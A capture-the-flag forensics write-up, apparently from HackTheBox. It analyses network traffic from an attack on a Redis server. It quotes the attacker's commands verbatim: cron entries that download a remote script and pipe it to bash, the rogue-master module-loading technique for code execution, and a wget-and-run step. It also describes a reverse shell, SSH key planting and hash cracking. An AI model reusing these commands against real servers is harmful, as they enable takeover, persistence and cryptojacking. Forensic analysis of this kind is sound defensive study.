$ cat writeup.md…
$ cat writeup.md…
HackTheBox
Analyze a pcap capture file (`capture.pcap`, 291707 bytes) containing network traffic of a Redis server attack. The flag is split into three parts hidden across different stages of the attack.
Analyze a pcap capture file (capture.pcap, 291707 bytes) containing network traffic of a Redis server attack. The flag is split into three parts hidden across different stages of the attack.
Files provided:
capture.pcap — Network capture (291707 bytes)Three hosts identified in the capture:
| Host | Role | Details |
|---|---|---|
| 10.10.0.15 | Attacker | Initiates Redis commands, hosts rogue Redis master |
| 10.10.0.90:6379 | Victim | Redis server (target) |
| 10.10.0.50 | C2 Server | files.pypi-install.com — malware distribution |
Protocols: Redis (RESP), HTTP, TLS. Multiple TCP streams covering the full attack lifecycle.
The attack follows a classic Redis exploitation chain:
Weak Auth → Data Exfil → Cron Persistence → Rogue Server RCE → Cryptominer Deployment
TCP stream 0 (10.10.0.15:38342 → 10.10.0.90:6379)
The attacker authenticates and performs reconnaissance:
AUTH 1943567864 # Weak numeric password
COMMAND DOCS # Enumerate available commands
INFO # Server information
KEYS * # List all keys
HGETALL users_table # Exfiltrate user data
The HGETALL users_table response contains 10 users with MD5 password hashes and emails. Among them:
henry6159 → email: FLAG_PART:REDACTED
🚩 FLAG PART 2:
REDACTED
The attacker then pivots to persistence:
CONFIG SET DIR /var/spool/cron
CONFIG SET DBFILENAME root
SET cron1 "\n*/1 * * * * wget -q -O- http://files.pypi-install.com/packages/VgLy8V0Zxo | bash\n"
SET cron2 "\n*/1 * * * * curl -fsSL http://files.pypi-install.com/packages/VgLy8V0Zxo | bash\n"
SET cron3 "\n*/1 * * * * cd /tmp && wget -q http://files.pypi-install.com/packages/VgLy8V0Zxo -O .cache && bash .cache\n"
SAVE
CONFIG SET DIR /var/spool/cron/crontabs
SAVE
Three cron entries for redundancy (wget pipe, curl pipe, wget-to-file) targeting both /var/spool/cron and /var/spool/cron/crontabs for cross-distro compatibility.
TCP stream 2 (10.10.0.15:34730 → 10.10.0.90:6379)
The attacker uses the Redis Rogue Server technique to achieve arbitrary code execution:
AUTH 1943567864
SLAVEOF 10.10.0.15 6379 # Make victim replicate from attacker
CONFIG SET DIR /data
CONFIG SET dbfilename x10SPFHN.so # Target filename for malicious module
The victim connects back to the attacker's fake Redis master and receives a FULLRESYNC containing a malicious ELF shared object (58928 bytes). This .so file is written to disk as x10SPFHN.so.
MODULE LOAD ./x10SPFHN.so # Load the RCE module
SLAVEOF NO ONE # Stop replication
CONFIG SET dbfilename dump.rdb # Restore original config
The loaded module provides a system.exec command:
system.exec rm -v ./x10SPFHN.so # Delete module file (anti-forensics)
system.exec uname -a # System reconnaissance
system.exec wget --no-check-certificate -O gezsdSC8i3 \
'https://files.pypi-install.com/packages/gezsdSC8i3' && bash gezsdSC8i3
MODULE UNLOAD system # Cleanup module
Critical observation: The system.exec responses are hex-encoded binary data, not plaintext. This is the key to finding Flag Part 3.
HTTP stream 1 — Victim's cron job fetches http://files.pypi-install.com/packages/VgLy8V0Zxo
The response is a heavily obfuscated bash script using:
After decoding, the script contains two functions:
Function 1 — Reverse Shell Persistence:
# Writes reverse shell to /etc/update-motd.d/00-header # Connects to 10.10.0.200:1337 on every login
Function 2 — SSH Key Backdoor:
# Appends attacker's SSH public key to ~/.ssh/authorized_keys # Key comment field contains the flag part
🚩 FLAG PART 1:
HTB{REDACTED— found in the SSH public key comment field
The 58928-byte ELF shared object extracted from the Redis replication stream was analyzed statically:
strings x10SPFHN.so | grep -i aes # References to EVP_aes_256_cbc strings x10SPFHN.so | grep -E '^[A-Za-z0-9]{16,32}$' # Reveals hardcoded key material
Discovered encryption parameters:
| Parameter | Value |
|---|---|
| Algorithm | AES-256-CBC |
| Key (32 bytes) | h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz |
| IV (16 bytes) | YDP7ECjzuV7sagMN |
Module workflow:
popen()#!/usr/bin/env python3 """Decrypt system.exec responses from RedTrails Redis module.""" from Crypto.Cipher import AES from Crypto.Util.Padding import unpad KEY = b"h02B6aVgu09Kzu9QTvTOtgx9oER9WIoz" # 32 bytes IV = b"YDP7ECjzuV7sagMN" # 16 bytes def decrypt_response(hex_data: str) -> str: """Decrypt hex-encoded AES-256-CBC response.""" ciphertext = bytes.fromhex(hex_data.strip()) cipher = AES.new(KEY, AES.MODE_CBC, IV) plaintext = unpad(cipher.decrypt(ciphertext), AES.block_size) return plaintext.decode('utf-8', errors='replace') # Response 1: rm -v ./x10SPFHN.so resp1 = "..." # hex from pcap print(decrypt_response(resp1)) # → removed './x10SPFHN.so' # Response 2: uname -a resp2 = "..." # hex from pcap print(decrypt_response(resp2)) # → Linux redis-master 5.15.0-88-generic #98-Ubuntu SMP Mon Oct 2 15:18:56 UTC 2023 x86_64 GNU/Linux # Response 3: wget ... && bash ... (cryptominer installer output) resp3 = "..." # hex from pcap print(decrypt_response(resp3)) # → --- Installing ethminer --- # --- Enabling automatically startup --- # --- Setting env --- # ETHMINER_PATH=/tmp/ethminer # HOSTNAME=redis-master # ... # FLAG_PART=REDACTED} # ... # --- Success! ---
Response 1 (rm -v ./x10SPFHN.so):
removed './x10SPFHN.so'
Response 2 (uname -a):
Linux redis-master 5.15.0-88-generic #98-Ubuntu SMP Mon Oct 2 15:18:56 UTC 2023 x86_64 GNU/Linux
Response 3 (wget ... && bash ...) — Cryptominer installation output:
--- Installing ethminer ---
--- Enabling automatically startup ---
--- Setting env ---
ETHMINER_PATH=/tmp/ethminer
HOSTNAME=redis-master
...
FLAG_PART=REDACTED}
...
--- Success! ---
🚩 FLAG PART 3:
REDACTED}— hidden as an environment variable in the ethminer installation script output
| Part | Source | Extraction Technique | Value |
|---|---|---|---|
| 1 | SSH key comment in obfuscated bash malware (HTTP) | Variable substitution + reversed base64 deobfuscation | HTB{REDACTED |
| 2 | Redis HGETALL users_table → henry6159:email | RESP protocol parsing | REDACTED |
| 3 | AES-encrypted system.exec response #3 | ELF reverse engineering → AES-256-CBC key/IV extraction → decryption | REDACTED} |
The Redis users_table contained 10 users with MD5 password hashes. 9 out of 10 were 6-digit numbers, trivially crackable with hashcat:
hashcat -m 0 -a 3 hashes.txt ?d?d?d?d?d?d
frank2180's hash (4fe3d40556cd5fe478720530f2818b11) did not crack — likely a red herring.
This challenge accurately models a real-world Redis exploitation scenario:
CONFIG SET DIR technique$ cat /etc/motd
Liked this one?
Pro unlocks every complete writeup and expanded API access. $9/mo.
$ cat pricing.md$ grep --similar